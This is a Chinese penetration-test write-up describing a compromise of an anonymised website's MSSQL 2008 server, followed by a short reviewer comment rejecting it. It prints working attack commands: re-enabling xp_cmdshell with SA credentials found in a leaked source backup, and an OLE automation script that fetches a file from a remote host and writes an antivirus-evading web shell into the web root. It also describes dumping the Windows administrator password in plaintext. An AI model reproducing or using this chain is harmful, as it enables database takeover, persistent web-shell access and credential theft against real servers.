MSSQL2008的一次渗透测试
目标:www.XXXXXXX.com
扫描端口:80,1433,3389
网站需要账户密码进行登录,由于没有账户密码,无法进入会员中心进行SQLNIJ,XSS等进行测试。
扫描网站文件列表,发现线程过大会封IP地址,因此将工具设置为单线程,最后也没有扫出后台登录页面以及上传等关键页面。
拿出自己的小工具进行备份文件的扫描,运气不错,得到以域名去掉WWW的.rar文件,如XXXXXXX.com.rar。
打开XXXXXXX.com.rar发现为整站源码,因为之前扫描得知目标开放1433端口,因此直接找数据库连接文件Inc/Conn.asp顺利拿到账户密码,并且为SA账户。
通过SQL查询分析器连接列接目标IP,使用Select @@version 得知目标为Mssql2008数据库。
尝试执行CMD命令,提示无法使用,直接一句话恢复其存储过程:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
执行添加用户命令,尝试后没有成功。
继续通过SQL查询分析器进行磁盘列目录,可以列目录,并随后翻到物理路径:F:\wwwroot\
由于现在目标很多都安装有狗,盾等防护措施,本可以直接echo一句话写入目标目录,但是为了绕过狗,盾查杀写入免杀大马(由于大马字符较
多不方便使用echo语句),这里使用了阿D很多年前的一个小脚本,进行下载远程文件到本地。
DECLARE @B varbinary(8000),@hr int,@http INT,@down INT EXEC sp_oacreate [Microsoft.XMLHTTP],@http output EXEC @hr =
sp_oamethod @http,[Open],null,[GET],[http://www.me.com/dm.txt],0 EXEC @hr = sp_oamethod @http,[Send],null EXEC
@hr=sp_OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down output EXEC @hr=sp_OASetProperty
@down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,
[Write],null,@B EXEC @hr=sp_oamethod @down,[SaveToFile],null,[F:\wwwroot\shell.asp],1
成功写入目标目录,得到大马。
再次回到执行CMD命令,上面添加用户没有成功,上传读取WIN2008明文密码工具,获取到ADMINISTRATOR明文密码,至此结束。
=============================
文章思路很清晰,但是没有亮点,脚本也是很久的,所以不予通过。
|